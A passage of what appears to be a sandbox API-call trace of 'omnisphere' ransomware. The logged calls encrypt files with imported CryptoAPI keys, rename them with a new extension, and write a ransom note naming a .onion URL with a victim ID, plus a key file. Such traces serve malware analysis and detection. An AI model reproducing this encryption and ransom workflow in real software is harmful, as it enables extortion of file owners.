pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.333] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.333] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.333] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.333] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.333] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.333] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.333] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.333] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.333] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.333] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.334] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.334] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.334] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.334] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.334] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.334] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.334] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.334] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.334] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.334] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.334] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.334] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.334] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.334] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.334] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.334] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.334] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.334] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.334] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.334] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.334] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.334] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.334] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.335] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.335] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.335] CryptDestroyKey (hKey=0x16394e8) returned 1 [0127.335] CryptReleaseContext (hProv=0x1668bd0, dwFlags=0x0) returned 1 [0127.335] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x35d, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0127.335] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0127.335] GetProcessHeap () returned 0x1600000 [0127.335] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2ae) returned 0x16ef608 [0127.335] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\x9kjev9n_-.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\x9kjev9n_-.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\x9kjev9n_-.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\x9kjev9n_-.lnk.omnisphere")) returned 1 [0127.336] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\x9kjev9n_-.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\x9kjev9n_-.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\x9kjev9n_-.lnk.omnisphere.id" [0127.336] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\x9kjev9n_-.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\x9kjev9n_-.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0127.336] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0127.337] CloseHandle (hObject=0x3c0) returned 1 [0127.337] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0127.337] CloseHandle (hObject=0x288) returned 1 [0127.338] SetEndOfFile (hFile=0x28c) returned 1 [0127.338] FlushFileBuffers (hFile=0x28c) returned 1 [0127.349] CloseHandle (hObject=0x28c) returned 1 [0127.349] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\x9kjev9n_-.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0127.349] GetProcessHeap () returned 0x1600000 [0127.349] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16f4398 [0127.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0127.349] GetProcessHeap () returned 0x1600000 [0127.349] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16f1be0 [0127.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16f1be0, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0127.349] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0127.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0127.349] GetProcessHeap () returned 0x1600000 [0127.349] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16d8308 [0127.349] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16d8308, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0127.350] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0127.350] GetProcessHeap () returned 0x1600000 [0127.350] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16da028 [0127.350] PathCombineW (in: pszDest=0x16da028, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0127.350] GetProcessHeap () returned 0x1600000 [0127.350] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16e8370 [0127.350] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.350] WriteFile (in: hFile=0x28c, lpBuffer=0x16e8370*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16e8370*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0127.350] CloseHandle (hObject=0x28c) returned 1 [0127.351] GetProcessHeap () returned 0x1600000 [0127.351] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16f4398 | out: hHeap=0x1600000) returned 1 [0127.351] GetProcessHeap () returned 0x1600000 [0127.351] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0127.351] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0127.351] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.351] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0127.351] CloseHandle (hObject=0x28c) returned 1 [0127.351] GetProcessHeap () returned 0x1600000 [0127.352] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0127.352] GetProcessHeap () returned 0x1600000 [0127.352] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16568c8 | out: hHeap=0x1600000) returned 1 [0127.352] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x226f8e4e, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x226f8e4e, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x226f8e4e, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x451, dwReserved0=0x0, dwReserved1=0xd3, cFileName="XfvLeb.lnk", cAlternateFileName="")) returned 1 [0127.352] GetProcessHeap () returned 0x1600000 [0127.352] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x96) returned 0x167b948 [0127.352] PathCombineW (in: pszDest=0x167b948, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="XfvLeb.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\XfvLeb.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\XfvLeb.lnk" [0127.352] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0127.352] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\XfvLeb.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\xfvleb.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.352] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=1105) returned 1 [0127.352] GetTickCount () returned 0x115fc6d [0127.352] GetTickCount () returned 0x115fc6d [0127.352] GetTickCount () returned 0x115fc6d [0127.352] GetTickCount () returned 0x115fc6d [0127.353] GetTickCount () returned 0x115fc6d [0127.353] GetTickCount () returned 0x115fc6d [0127.353] GetTickCount () returned 0x115fc6d [0127.353] GetTickCount () returned 0x115fc6d [0127.353] GetTickCount () returned 0x115fc6d [0127.353] GetTickCount () returned 0x115fc6d [0127.353] GetTickCount () returned 0x115fc6d [0127.353] GetTickCount () returned 0x115fc6d [0127.353] GetTickCount () returned 0x115fc6d [0127.353] GetTickCount () returned 0x115fc6d [0127.353] GetTickCount () returned 0x115fc6d [0127.353] GetTickCount () returned 0x115fc6d [0127.353] GetTickCount () returned 0x115fc6d [0127.353] GetTickCount () returned 0x115fc6d [0127.353] GetTickCount () returned 0x115fc6d [0127.353] GetTickCount () returned 0x115fc6d [0127.353] GetTickCount () returned 0x115fc6d [0127.353] GetTickCount () returned 0x115fc6d [0127.353] GetTickCount () returned 0x115fc6d [0127.353] GetTickCount () returned 0x115fc6d [0127.353] GetTickCount () returned 0x115fc6d [0127.353] GetTickCount () returned 0x115fc6d [0127.353] GetTickCount () returned 0x115fc6d [0127.353] GetTickCount () returned 0x115fc6d [0127.354] GetTickCount () returned 0x115fc6d [0127.354] GetTickCount () returned 0x115fc6d [0127.354] GetTickCount () returned 0x115fc6d [0127.354] GetTickCount () returned 0x115fc6d [0127.354] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668ce0) returned 1 [0127.354] CryptImportKey (in: hProv=0x1668ce0, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x16395e8) returned 1 [0127.354] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0127.355] CryptDestroyKey (hKey=0x16395e8) returned 1 [0127.355] CryptReleaseContext (hProv=0x1668ce0, dwFlags=0x0) returned 1 [0127.355] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x451, lpName=0x0) returned 0x288 [0127.355] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x451) returned 0x1480000 [0127.355] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668460) returned 1 [0127.356] CryptImportKey (in: hProv=0x1668460, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639628) returned 1 [0127.356] CryptSetKeyParam (hKey=0x1639628, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0127.356] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0127.356] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.356] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.356] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.356] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.356] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.356] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.356] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.356] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.356] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.356] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.357] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.357] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.357] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.357] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.357] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.357] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.357] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.357] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.357] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.357] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: 